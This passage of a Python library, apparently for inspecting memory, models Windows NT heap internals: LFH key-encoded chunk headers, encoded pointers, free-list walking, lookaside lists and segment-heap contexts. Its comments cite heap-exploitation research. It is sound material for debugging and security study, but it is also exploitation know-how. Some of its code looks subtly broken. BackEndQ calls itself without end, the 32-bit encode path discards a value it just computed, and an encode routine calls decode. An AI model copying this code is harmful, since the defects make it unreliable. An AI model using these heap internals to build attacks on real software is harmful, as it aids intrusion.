self['EntryOffset'].int())\n\n class _FE_Encoded(pstruct.type):\n '''\n This type is used strictly for encoding/decoding and is used when\n casting the backing type.\n '''\n def __init__(self, **attrs):\n super(_HEAP_ENTRY._FE_Encoded, self).__init__(**attrs)\n f = self._fields_ = []\n if getattr(self, 'WIN64', False):\n f.extend([\n (pint.uint64_t, 'Unencoded'),\n (pint.uint64_t, 'Encoded'),\n ])\n else:\n f.extend([\n (pint.uint32_t, 'Encoded'),\n (pint.uint32_t, 'Unencoded'),\n ])\n return\n\n def EncodedValue(self):\n res = self['Encoded'].int()\n return res & 0xffffffffff\n\n def EncodedUntouchedValue(self):\n res = self['Encoded'].int()\n return res & ~0xffffffffff\n\n def __RtlpLFHKey(self):\n if not isinstance(self.source, ptypes.provider.debuggerbase):\n\n # First check for any attributes on our HEAP\n p = self.getparent(HEAP)\n if not hasattr(p, 'RtlpLFHKey'):\n logging.warning(\"Failure while attempting to determine address of {:s}\".format('ntdll!RtlpLFHKey'))\n return 0\n\n # Found one that we can use, so use it.\n logging.info(\"Using address of {:s} ({:#x}) from attribute {:s}.{:s}\".format('ntdll!RtlpLFHKey', p.RtlpLFHKey, p.instance(), 'RtlpLFHKey'))\n RtlpLFHKey = p.RtlpLFHKey\n\n # We can simply use the debugger to evaluate the expression for our key\n else:\n RtlpLFHKey = self.source.expr('ntdll!RtlpLFHKey')\n\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = self.new(t, offset=RtlpLFHKey)\n return res.l.int()\n\n def __fe_encode(self, object, **attrs):\n object = object.cast(self._FE_Encoded)\n\n # Cache some attributes\n if any(not hasattr(self, \"_HEAP_ENTRY_{:s}\".format(name)) for name in {'Heap', 'LFHKey'}):\n try:\n self._HEAP_ENTRY_Heap, self._HEAP_ENTRY_LFHKey = self.getparent(type=HEAP), self.__RtlpLFHKey()\n except (ptypes.error.ItemNotFoundError, AttributeError):\n # FIXME: Log that this heap-entry is non-encoded due to inability to determine required keys\n pass\n\n # If we were able to find the LFHKey, then use it to encode our object\n if hasattr(self, \"_HEAP_ENTRY_{:s}\".format('LFHKey')):\n\n # Now to encode our 64-bit header\n if getattr(self, 'WIN64', False):\n dn = self.getoffset()\n dn ^= self._HEAP_ENTRY_Heap.getoffset()\n dn >>= 4\n dn ^= object.EncodedValue()\n dn ^= self._HEAP_ENTRY_LFHKey\n dn <<= 4\n dn |= object.EncodedUntouchedValue()\n\n # Encode the 32-bit header\n else:\n dn = object.EncodedValue()\n dn = self.getoffset() >> 3\n dn ^= self._HEAP_ENTRY_LFHKey\n dn ^= self._HEAP_ENTRY_Heap.getoffset()\n\n res = object.copy().set(Encoded=dn)\n return super(_HEAP_ENTRY, self).decode(res)\n\n # FIXME: We should probably throw an exception here since the header\n # is _required_ to be encoded.\n return super(_HEAP_ENTRY, self).encode(object)\n\n def __fe_decode(self, object, **attrs):\n object = object.cast(self._FE_Encoded)\n\n # Cache some attributes\n if any(not hasattr(self, \"_HEAP_ENTRY_{:s}\".format(name)) for name in {'Heap', 'LFHKey'}):\n self._HEAP_ENTRY_Heap, self._HEAP_ENTRY_LFHKey = self.getparent(type=HEAP), self.__RtlpLFHKey()\n\n # Now we can decode our 64-bit header\n if getattr(self, 'WIN64', False):\n dn = self.getoffset()\n dn ^= self._HEAP_ENTRY_Heap.getoffset()\n dn >>= 4\n dn ^= object.EncodedValue()\n dn ^= self._HEAP_ENTRY_LFHKey\n dn <<= 4\n dn |= object.EncodedUntouchedValue()\n\n # Decode the 32-bit header\n else:\n dn = object.EncodedValue()\n dn ^= self.getoffset() >> 3\n dn ^= self._HEAP_ENTRY_LFHKey\n dn ^= self._HEAP_ENTRY_Heap.getoffset()\n\n res = object.copy().set(Encoded=dn)\n return super(_HEAP_ENTRY, self).decode(res)\n\n def EntryOffsetQ(self):\n if not self.FrontEndQ():\n raise error.InvalidHeapType(self, 'EntryOffsetQ', message='Unable to query the entry-offset for a non-frontend type')\n f, res = self.object.Flags(), self.d.li\n return f.int() == 5 and bool(res['EntryOffset'].int())\n\n def EntryOffset(self):\n if not self.FrontEndQ():\n raise error.InvalidHeapType(self, 'EntryOffset', message='Unable to fetch the entry-offset for a non-frontend type')\n\n # FIXME: this should probably return an rpointer_t to a _HEAP_ENTRY\n res = self.d.li\n return res['EntryOffset'].int() * res.size()\n\n def SubSegment(self):\n if not self.FrontEndQ():\n raise error.InvalidHeapType(self, 'SubSegment', message='Unable to dereference the subsegment for a non-frontend type')\n header = self.d.li\n return header['SubSegment'].d\n\n ## encoded_t properties/methods\n def properties(self):\n res = super(_HEAP_ENTRY, self).properties()\n if not self.initializedQ():\n return res\n\n # properties for frontend HEAP_ENTRY\n if self.FrontEndQ():\n res['EntryOffsetQ'] = self.EntryOffsetQ()\n return res\n\n # properties for backend HEAP_ENTRY\n try:\n res['ChecksumOkay'] = self.ChecksumQ()\n except (ptypes.error.InitializationError, error.NdkHeapException):\n pass\n return res\n\n def _object_(self):\n res = self.object\n if res.FrontEndQ():\n return self.__FE_HEAP_ENTRY\n return self.__BE_HEAP_ENTRY\n\n def encode(self, object, **attrs):\n res = self.object\n if res['UnusedBytes'].int() == 5:\n # FIXME: figure out what to do with the new chunk header\n offset = self.getoffset() - res['SegmentOffset'] * res.size()\n raise error.InvalidHeapType(self, 'encode', message='_HEAP_ENTRY.UnusedBytes == 5 is currently unimplemented.', HEAP_ENTRY=self.object)\n elif res.FrontEndQ():\n return self.__fe_encode(object, **attrs)\n return self.__be_encode(object, **attrs)\n\n def decode(self, object, **attrs):\n res = self.object\n if res['UnusedBytes'].int() == 5:\n # FIXME: we shouldn't need to decode anything since our chunk\n # header is elsewhere.\n offset = self.getoffset() - res['SegmentOffset'] * res.size()\n raise error.InvalidHeapType(self, 'decode', message='_HEAP_ENTRY.UnusedBytes == 5 is currently unimplemented.', HEAP_ENTRY=self.object)\n elif res.FrontEndQ():\n return self.__fe_decode(object, **attrs)\n return self.__be_decode(object, **attrs)\n\n def summary(self):\n res = self.d\n if res.initializedQ():\n return res.l.summary()\n return super(_HEAP_ENTRY, self).summary()\n\n class ENCODED_POINTER(PVOID):\n '''\n This is a pointer that's encoded/decoded with ntdll!RtlpHeapKey and as\n such can be used to dereference/reference things with a tweaked pointer.\n '''\n def __HeapPointerKey(self):\n heap = self.getparent(HEAP)\n return heap['PointerKey'].int()\n\n def __RtlpHeapKey(self):\n if not isinstance(self.source, ptypes.provider.debuggerbase):\n\n # First check for any attributes on our HEAP\n p = self.getparent(HEAP)\n if not hasattr(p, 'RtlpHeapKey'):\n logging.warning(\"Failure while attempting to determine address of {:s}\".format('ntdll!RtlpHeapKey'))\n return 0\n\n # Found one that we can use, so use it.\n logging.info(\"Using address of {:s} ({:#x}) from attribute {:s}.{:s}\".format('ntdll!RtlpHeapKey', p.RtlpHeapKey, p.instance(), 'RtlpHeapKey'))\n RtlpHeapKey = p.RtlpHeapKey\n\n # We can simply use the debugger to evaluate the expression for our key\n else:\n RtlpHeapKey = self.source.expr('ntdll!RtlpHeapKey')\n\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = self.new(t, offset=RtlpHeapKey)\n return res.l.int()\n\n def __GetPointerKey(self):\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n return self.__RtlpHeapKey()\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN7:\n return self.__HeapPointerKey()\n raise error.InvalidPlatformException(self, '__GetPointerKey', version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION), expected=sdkddkver.NTDDI_WIN7)\n\n def encode(self, object, **attrs):\n try:\n res = self.__GetPointerKey()\n self._EncodedPointerKey = res\n\n # FIXME: Log that this encoded-pointer is non-encoded due to being unable to locate the key\n except Exception:\n pass\n\n if hasattr(self, '_EncodedPointerKey'):\n return super(ENCODED_POINTER, self).encode(self._value_().set(object.get() ^ self._EncodedPointerKey))\n return super(ENCODED_POINTER, self).encode(object)\n\n def decode(self, object, **attrs):\n if not hasattr(self, '_EncodedPointerKey'):\n res = self.__GetPointerKey()\n self._EncodedPointerKey = res\n\n res = object.get() ^ self._EncodedPointerKey\n return super(ENCODED_POINTER, self).decode(self._value_().set(res))\n\n def summary(self):\n return \"*{:#x} -> *{:#x}\".format(self.get(), self.d.getoffset())\n\nif 'HeapChunk':\n class HEAP_UNCOMMITTED_DATA(ptype.block):\n def blocksize(self):\n return 0\n def summary(self):\n return \"...{:d} bytes...\".format(self.length)\n def dereference(self, **attrs):\n attrs.setdefault('length', self.length)\n return self.cast(ptype.block, **attrs)\n d = property(fget=lambda self, **attrs: self.dereference(**attrs))\n\n class HEAP_BLOCK_UNCOMMITTED(HEAP_UNCOMMITTED_DATA):\n pass\n\n class HEAP_CHUNK_LARGE(pstruct.type):\n length = 0\n def __Data(self):\n res = self['Header'].li.size()\n return dyn.clone(HEAP_UNCOMMITTED_DATA, length=max(0, self.length - res))\n\n _fields_ = [\n (HEAP_ENTRY, 'Header'),\n (__Data, 'Data'),\n ]\n\n def summary(self):\n res = map(\"\\\\x{:02x}\".format, bytearray(self['Header'].serialize()))\n return \"Header=\\\"{:s}\\\" Data=...{:d} bytes...\".format(str().join(res), self['Data'].length)\n\n class _HEAP_CHUNK(pstruct.type):\n '''\n This is an internal definition that isn't defined by Microsoft, but is\n intended to distinguish chunks that exist in either the frontend or the\n backend heap.\n '''\n def __ListEntry(self):\n\n # If we have a .__SubSegment__ attribute, then this is a frontend\n # chunk and this there's no linked-list for any free'd chunks.\n if hasattr(self, '__SubSegment__'):\n return ptype.undefined\n\n # Use the backing object here to check the busy flag since there's\n # really no need to decode anything when loading\n header = self['Header'].li\n if header.object.Type()['Chunk'] and header.object.FreeQ():\n return dyn.clone(LIST_ENTRY, _object_=fpointer(self.__class__, 'ListEntry'), _path_=('ListEntry',))\n\n # No linked-list as the chunk is busy or not a chunk\n return ptype.undefined\n\n def __ChunkFreeEntryOffset(self):\n\n # If we have a .__SubSegment__ attribute, then this should\n # definitely be a front-end chunk, and so we need to check\n # if it's in-use or not.\n if hasattr(self, '__SubSegment__'):\n header = self['Header'].li\n\n # Use the backing object here to grab the UnusedBytes field\n # since it doesn't need to be decoded in order to determine\n # whether the frontend is actually using the chunk or not.\n unusedBytes = header.object['UnusedBytes']\n return pint.uint_t if unusedBytes.int() & 0x0f else pint.uint16_t\n\n # Backend heap doesn't use a chunk offset, so just return an\n # unsized integer.\n return pint.uint_t\n\n def __Data(self):\n header = self['Header'].li\n\n # Grab the heap type from the header's backing type since it's only\n # a single unencoded bit that distinguishes between how the sizes\n # are calculated\n if hasattr(self, '__SubSegment__'):\n ss = self.__SubSegment__\n size = ss['BlockSize'].int() * (0x10 if getattr(self, 'WIN64', False) else 8)\n\n else:\n size = header.Size()\n\n res = sum(self[fld].li.size() for fld in ['Header', 'ListEntry', 'ChunkFreeEntryOffset'])\n return dyn.block(max(0, size - res))\n\n _fields_ = [\n (_HEAP_ENTRY, 'Header'),\n (__ListEntry, 'ListEntry'),\n (__ChunkFreeEntryOffset, 'ChunkFreeEntryOffset'),\n (__Data, 'Data'),\n ]\n\n def BusyQ(self):\n return self['Header'].BusyQ()\n def FreeQ(self):\n return self['Header'].FreeQ()\n\n def properties(self):\n res = super(_HEAP_CHUNK, self).properties()\n if self.initializedQ():\n header = self['Header']\n res['Busy'] = header.BusyQ()\n if header.FrontEndQ():\n res['Type'] = 'FE'\n return res\n t = header.Type()\n res['Type'] = t.str()\n return res\n\n def next(self):\n cls, header = self.__class__, self['Header']\n if not header.BackEndQ():\n raise error.InvalidHeapType(self, 'next', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n parent = self.getparent(HEAP)\n return parent.new(cls, offset=self.getoffset() + self['Header'].Size())\n\n def previous(self):\n cls, header = self.__class__, self['Header']\n if not header.BackEndQ():\n raise error.InvalidHeapType(self, 'previous', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n parent = self.getparent(HEAP)\n return parent.new(cls, offset=self.getoffset() - header.PreviousSize())\n prev = previous\n\n def nextfree(self):\n '''Walk to the next entry in the free-list (recent)'''\n cls, header = self.__class__, self['Header']\n if not header.BackEndQ():\n raise error.InvalidHeapType(self, 'nextfree', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n t = header.Type()\n if not t['Chunk']:\n raise error.IncorrectChunkType(self, 'nextfree', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), Type=header.Type(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n link = self['ListEntry']\n return link['Flink'].d.l\n\n def previousfree(self):\n '''Moonwalk to the previous entry in the free-list (recent)'''\n cls, header = self.__class__, self['Header']\n if not header.BackEndQ():\n raise error.InvalidHeapType(self, 'previousfree', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n t = header.Type()\n if not t['Chunk']:\n raise error.IncorrectChunkType(self, 'previousfree', BackEndQ=header.BackEndQ(), BusyQ=header.BusyQ(), Type=header.Type(), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n link = self['ListEntry']\n return link['Blink'].d.l\n prevfree = previousfree\n\nif 'Frontend':\n class FrontEndHeap(ptype.definition):\n cache = {}\n\n class Type(pint.enum, UCHAR):\n _values_ = [\n ('Backend', 0),\n ('LAL', 1),\n ('LFH', 2),\n ]\n\n class FreeListBucket(LIST_ENTRY):\n class _HeapBucketLink(ptype.pointer_t):\n class _HeapBucketCounter(pstruct.type):\n _fields_ = [\n (USHORT, 'UnknownEvenCount'),\n (USHORT, 'AllocationCount'),\n (lambda self: dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'Padding'),\n ]\n\n def get(self):\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = self.cast(t)\n return res.int()\n\n _value_ = _HeapBucketCounter\n _object_ = HEAP_BUCKET\n\n def decode(self, object, **attrs):\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = object.cast(t)\n if res.int() & 1:\n res.set(res.int() & ~1)\n else:\n res.set(res.int() & ~0)\n cls = self.__class__\n raise error.InvalidHeapType(self, 'decode', message=\"Address {:#x} is not a valid HEAP_BUCKET\".format(res.int()))\n return super(FreeListBucket._HeapBucketLink, self).decode(res, **attrs)\n\n def FrontEndQ(self):\n res = self.object.cast(pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t)\n return bool(res.int() & 1)\n def BackEndQ(self):\n return not self.BackEndQ()\n\n def summary(self):\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = self.object\n if res.cast(t).int() & 1:\n return \"(FRONTEND) {:s}\".format(super(FreeListBucket._HeapBucketLink, self).summary())\n return \"(BACKEND) AllocationCount={:#x} UnknownEvenCount={:#x}\".format(res['AllocationCount'].int(), res['UnknownEvenCount'].int())\n def details(self):\n t = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n res = self.object.cast(t)\n if res.int() & 1:\n return super(FreeListBucket._HeapBucketLink, self).summary()\n return self.object.details()\n repr = details\n\n _fields_ = [\n (fpointer(_HEAP_CHUNK, 'ListEntry'), 'Flink'),\n (_HeapBucketLink, 'Blink'),\n ]\n\n def FrontEndQ(self):\n return self['Blink'].FrontEndQ()\n def BackEndQ(self):\n return self['Blink'].BackEndQ()\n\n def properties(self):\n res = super(FreeListBucket, self).properties()\n if self.initializedQ():\n res['Type'] = 'FE' if self.FrontEndQ() else 'BE'\n return res\n\n def collect(self, size=None):\n '''Collect chunks beginning at the current chunk which are less than ``size``'''\n for item in self.walk():\n if size is None:\n size = item['Header'].Size()\n if item['Header'].Size() > size:\n break\n yield item\n return\n\n class ListsInUseUlong(BitmapBitsUlong):\n _object_, length = ULONG, 0\n\n class ListsInUseBytes(BitmapBitsBytes):\n _object_, length = UCHAR, 0\n\nif 'LookasideList':\n class HEAP_LOOKASIDE(pstruct.type):\n _fields_ = [\n (dyn.clone(SLIST_HEADER, _object_=fpointer(_HEAP_CHUNK, 'ListHead'), _path_=('ListHead',)), 'ListHead'),\n (USHORT, 'Depth'),\n (USHORT, 'MaximumDepth'),\n (ULONG, 'TotalAllocates'),\n (ULONG, 'AllocateMisses'),\n (ULONG, 'TotalFrees'),\n (ULONG, 'FreeMisses'),\n (ULONG, 'LastTotalAllocates'),\n (ULONG, 'LastAllocateMisses'),\n (dyn.array(ULONG, 2), 'Counters'),\n (ULONG, 'Unknown'), # XXX: missing from all definitions\n (lambda self: dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'Padding'),\n ]\n\n @FrontEndHeap.define\n class LAL(parray.type):\n type = 1\n HEAP_MAX_FREELIST = 0x80\n length, _object_ = HEAP_MAX_FREELIST, HEAP_LOOKASIDE\n\n class HeapCache(pstruct.type):\n # ISS X-Force - Heap Cache Exploitation\n # ftp://ftp.software.ibm.com/common/ssi/sa/wh/n/sew03014usen/SEW03014USEN.PDF\n def __Bitmap(self):\n p = self.getparent(HeapCache)\n res = p['NumBuckets'].li\n return dyn.clone(ListsInUseUlong, length=res.int() // 32)\n\n def __Buckets(self):\n p = self.getparent(HeapCache)\n res = self['NumBuckets'].li\n return dyn.array(_HEAP_CHUNK, res.int())\n\n _fields_ = [\n (ULONG, 'NumBuckets'),\n (LONG, 'CommittedSize'),\n (LARGE_INTEGER, 'CounterFrequency'),\n (LARGE_INTEGER, 'AverageAllocTime'),\n (LARGE_INTEGER, 'AverageFreeTime'),\n (LONG, 'SampleCounter'),\n (LONG, 'field_24'),\n (LARGE_INTEGER, 'AllocTimeRunningTotal'),\n (LARGE_INTEGER, 'FreeTimeRunningTotal'),\n (LONG, 'AllocTimeCount'),\n (LONG, 'FreeTimeCount'),\n (LONG, 'Depth'),\n (LONG, 'HighDepth'),\n (LONG, 'LowDepth'),\n (LONG, 'Sequence'),\n (LONG, 'ExtendCount'),\n (LONG, 'CreateUCRCount'),\n (LONG, 'LargestHighDepth'),\n (LONG, 'HighLowDifference'),\n\n (P(__Bitmap), 'pBitmap'), # XXX\n (P(__Buckets), 'pBucket'), # XXX\n\n (__Buckets, 'Buckets'),\n (__Bitmap, 'Bitmap'),\n ]\n\nif 'SegmentHeap':\n # XXX: https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf\n class HEAP_VS_DELAY_FREE_CONTEXT(pstruct.type):\n _fields_ = [\n (SLIST_HEADER, 'ListHead'),\n ]\n class HEAP_SUBALLOCATOR_CALLBACKS(pstruct.type, versioned):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n _fields_ = [\n (__ULONG3264, 'Allocate'),\n (__ULONG3264, 'Free'),\n (__ULONG3264, 'Commit'),\n (__ULONG3264, 'Decommit'),\n (__ULONG3264, 'ExtendContext'),\n ]\n class HEAP_VS_CONTEXT(pstruct.type, versioned):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n class _LockType32(rtltypes.RTLP_HP_LOCK_TYPE, ULONG): pass\n class _LockType64(rtltypes.RTLP_HP_LOCK_TYPE, ULONGLONG): pass\n def __ForceOffset(field, offset):\n def __padding(self):\n predicate = functools.partial(operator.ne, field)\n iterable = itertools.chain(itertools.takewhile(predicate, iter(self.keys())))\n return dyn.block(max(0, offset - sum(self[fld].li.size() for fld in iterable)))\n return __padding\n _fields_ = [\n (__ULONG3264, 'Lock'),\n (lambda self: self._LockType64 if getattr(self, 'WIN64', False) else self._LockType32, 'LockType'),\n (rtltypes.RTL_RB_TREE, 'FreeChunkTree'),\n (LIST_ENTRY, 'SubsegmentList'),\n (__ULONG3264, 'TotalCommittedUnits'),\n (__ULONG3264, 'FreeCommittedUnits'),\n (__ForceOffset('offset(DelayFreeContext)', 0x40), 'offset(DelayFreeContext)'),\n (HEAP_VS_DELAY_FREE_CONTEXT, 'DelayFreeContext'),\n (__ForceOffset('offset(BackendCtx)', 0x80), 'offset(BackendCtx)'),\n (PVOID, 'BackendCtx'),\n (HEAP_SUBALLOCATOR_CALLBACKS, 'Callbacks'),\n (rtltypes.RTL_HP_VS_CONFIG, 'Config'),\n (ULONG, 'Flags'),\n (__ForceOffset('size(HEAP_VS_CONTEXT)', 0xc0), 'size(HEAP_VS_CONTEXT)'),\n ]\n\n class HEAP_LFH_SUBSEGMENT_STAT(pstruct.type):\n _fields_ = [\n (UCHAR, 'Index'),\n (UCHAR, 'Count'),\n ]\n\n class HEAP_LFH_SUBSEGMENT_STATS(dynamic.union, versioned):\n _fields_ = [\n (lambda self: dyn.array(HEAP_LFH_SUBSEGMENT_STAT, 4 if getattr(self, 'WIN64', False) else 2), 'Buckets'),\n (PVOID, 'AllStats'),\n ]\n\n class HEAP_LFH_SUBSEGMENT_OWNER(pstruct.type):\n class _Spare0(pbinary.flags):\n _fields_ = [\n (7, 'Spare'),\n (1, 'IsBucket'),\n ]\n class _Slot(dynamic.union):\n _fields_ = [\n (UCHAR, 'SlotCount'),\n (UCHAR, 'SlotIndex'),\n ]\n _fields_ = [\n (_Spare0, 'Spare0'),\n (UCHAR, 'BucketIndex'),\n (_Slot, 'Slot'),\n (UCHAR, 'Spare1'),\n (lambda self: dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(AvailableSubsegmentCount)'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'AvailableSubsegmentCount'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'Lock'),\n (LIST_ENTRY, 'AvailableSubsegmentList'),\n (LIST_ENTRY, 'FullSubsegmentList'),\n ]\n\n class HEAP_LFH_FAST_REF(dynamic.union):\n @pbinary.littleendian\n class _RefCount(pbinary.struct):\n _fields_ = [\n (lambda self: 52 if getattr(self, 'WIN64', False) else 20, 'Unknown'),\n (12, 'RefCount'),\n ]\n _fields_ = [\n (PVOID, 'Target'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'Value'),\n (_RefCount, 'RefCount'),\n ]\n\n class HEAP_LFH_AFFINITY_SLOT(pstruct.type):\n _fields_ = [\n (HEAP_LFH_SUBSEGMENT_OWNER, 'State'),\n (HEAP_LFH_FAST_REF, 'ActiveSubsegment'),\n ]\n\n class HEAP_LFH_BUCKET(pstruct.type, versioned):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n _fields_ = [\n (HEAP_LFH_SUBSEGMENT_OWNER, 'State'),\n (__ULONG3264, 'TotalBlockCount'),\n (__ULONG3264, 'TotalSubsegmentCount'),\n (ULONG, 'ReciprocalBlockSize'),\n (UCHAR, 'Shift'),\n (UCHAR, 'ContentionCount'),\n (lambda self: dyn.block(2 if getattr(self, 'WIN64', False) else 2), 'Padding(ContentionCount)'),\n (__ULONG3264, 'AffinityMappingLock'),\n (P(UCHAR), 'ProcAffinityMapping'),\n (P(dyn.array(P(HEAP_LFH_AFFINITY_SLOT), 0)), 'AffinitySlots'), # FIXME\n ]\n\n class HEAP_LFH_CONTEXT(pstruct.type, versioned):\n def __ForceOffset(field, offset):\n def __padding(self):\n predicate = functools.partial(operator.ne, field)\n iterable = itertools.chain(itertools.takewhile(predicate, iter(self.keys())))\n return dyn.block(max(0, offset - sum(self[fld].li.size() for fld in iterable)))\n return __padding\n _fields_ = [\n (PVOID, 'BackendCtx'),\n (HEAP_SUBALLOCATOR_CALLBACKS, 'Callbacks'),\n (P(UCHAR), 'AffinityModArray'),\n (UCHAR, 'MaxAffinity'),\n (UCHAR, 'LockType'),\n (SHORT, 'MemStatsOffset'),\n (rtltypes.RTL_HP_LFH_CONFIG, 'Config'),\n (__ForceOffset('offset(BucketStats)', 0x40), 'offset(BucketStats)'),\n (HEAP_LFH_SUBSEGMENT_STATS, 'BucketStats'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'SubsegmentCreationLock'),\n (__ForceOffset('offset(Buckets)', 0x80), 'offset(Buckets)'),\n (dyn.array(P(HEAP_LFH_BUCKET), 129), 'Buckets'),\n (lambda self: dyn.block(0x38 if getattr(self, 'WIN64', False) else 0x3c), 'size(HEAP_LFH_CONTEXT)')\n ]\n\n class HEAP_OPPORTUNISTIC_LARGE_PAGE_STATS(pstruct.type):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n _fields_ = [\n (__ULONG3264, 'SmallPagesInUseWithinLarge'),\n (__ULONG3264, 'OpportunisticLargePageCount'),\n ]\n\n class HEAP_RUNTIME_MEMORY_STATS(pstruct.type, versioned):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n _fields_ = [\n (__ULONG3264, 'TotalReservedPages'),\n (__ULONG3264, 'TotalCommittedPages'),\n (__ULONG3264, 'FreeCommittedPages'),\n (__ULONG3264, 'LfhFreeCommittedPages'),\n (dyn.array(HEAP_OPPORTUNISTIC_LARGE_PAGE_STATS, 2), 'LargePageStats'),\n (rtltypes.RTL_HP_SEG_ALLOC_POLICY, 'LargePageUtilizationPolicy'),\n ]\n\n class HEAP_SEG_CONTEXT(pstruct.type, versioned):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n class _Flags(pstruct.type):\n _fields_ = [\n #(UCHAR, 'LargePagePolicy'), # UCHAR LargePagePolicy:3\n #(UCHAR, 'FullDecommit'), # UCHAR FullDecommit:1\n #(UCHAR, 'ReleaseEmptySegments'), # UCHAR ReleaseEmptySegments:1\n (UCHAR, 'AllFlags'),\n (dyn.block(2), 'padding(AllFlags)'),\n ]\n _fields_ = [\n (__ULONG3264, 'SegmentMask'),\n (UCHAR, 'UnitShift'),\n (UCHAR, 'PagesPerUnitShift'),\n (UCHAR, 'FirstDescriptorIndex'),\n (UCHAR, 'CachedCommitSoftShift'),\n (UCHAR, 'CachedCommitHighShift'),\n (_Flags, 'Flags'),\n (ULONG, 'MaxAllocationSize'),\n (SHORT, 'OlpStatsOffset'),\n (SHORT, 'MemStatsOffset'),\n (PVOID, 'LfhContext'),\n (PVOID, 'VsContext'),\n (rtltypes.RTL_HP_ENV_HANDLE, 'EnvHandle'),\n (PVOID, 'Heap'),\n (lambda self: dyn.block(0 if getattr(self, 'WIN64', False) else 0x18), 'padding(Heap)'),\n (__ULONG3264, 'SegmentLock'),\n (LIST_ENTRY, 'SegmentListHead'),\n (__ULONG3264, 'SegmentCount'),\n (rtltypes.RTL_RB_TREE, 'FreePageRanges'),\n (__ULONG3264, 'FreeSegmentListLock'),\n (dyn.array(SINGLE_LIST_ENTRY, 2), 'FreeSegmentList'),\n (lambda self: dyn.block(0x38 if getattr(self, 'WIN64', False) else 0x1c), 'Padding'),\n ]\n\n class SEGMENT_HEAP(pstruct.type, versioned):\n length = 0x5f0\n class _CommitLimitMetadata(pstruct.type):\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n _fields_ = [\n (__ULONG3264, 'ReservedMustBeZero1'),\n (PVOID, 'UserContext'),\n (__ULONG3264, 'ReservedMustBeZero2'),\n (PVOID, 'Spare'),\n ]\n def __ULONG3264(self):\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n def __ForceOffset(field, offset):\n def __padding(self):\n predicate = functools.partial(operator.ne, field)\n iterable = itertools.chain(itertools.takewhile(predicate, iter(self.keys())))\n return dyn.block(max(0, offset - sum(self[fld].li.size() for fld in iterable)))\n return __padding\n _fields_ = [\n (rtltypes.RTL_HP_ENV_HANDLE, 'EnvHandle'),\n (ULONG, 'Signature'),\n (ULONG, 'GlobalFlags'),\n (ULONG, 'Interceptor'),\n (USHORT, 'ProcessHeapIndex'),\n (USHORT, 'AllocatedFromMetadata'), # USHORT AllocatedFromMetadata:1\n # XXX: union {\n (lambda self: ptype.undefined if self['AllocatedFromMetadata'].li.int() & 1 else rtltypes.RTL_HEAP_MEMORY_LIMIT_DATA, 'CommitLimitData'),\n (lambda self: _CommitLimitMetadata if self['AllocatedFromMetadata'].li.int() & 1 else ptype.undefined, 'CommitLimitMetadata?'),\n # XXX: }\n (__ForceOffset('offset(LargeMetadataLock)', 0x40), 'offset(LargeMetadataLock)'),\n (__ULONG3264, 'LargeMetadataLock'),\n (rtltypes.RTL_RB_TREE, 'LargeAllocMetadata'),\n (__ULONG3264, 'LargeReservedPages'),\n (__ULONG3264, 'LargeCommitedPages'),\n (rtltypes.RTL_RUN_ONCE, 'StackTraceInitVar'),\n (__ForceOffset('offset(MemStats)', 0x80), 'offset(MemStats)'),\n (HEAP_RUNTIME_MEMORY_STATS, 'MemStats'),\n (USHORT, 'GlobalLockCount'),\n (dyn.block(2), 'padding(GlobalLockCount)'),\n (ULONG, 'GlobalLockOwner'),\n (__ULONG3264, 'ContextExtendLock'),\n (P(UCHAR), 'AllocatedBase'),\n (P(UCHAR), 'UncommittedBase'),\n (P(UCHAR), 'ReservedLimit'),\n (__ForceOffset('offset(SegContexts)', 0x100), 'offset(SegContexts)'),\n (dyn.array(HEAP_SEG_CONTEXT, 2), 'SegContexts'),\n (HEAP_VS_CONTEXT, 'VsContext'),\n (HEAP_LFH_CONTEXT, 'LfhContext'),\n ]\n\nif 'LFH':\n class INTERLOCK_SEQ(pstruct.type):\n def __init__(self, **attrs):\n super(INTERLOCK_SEQ, self).__init__(**attrs)\n f 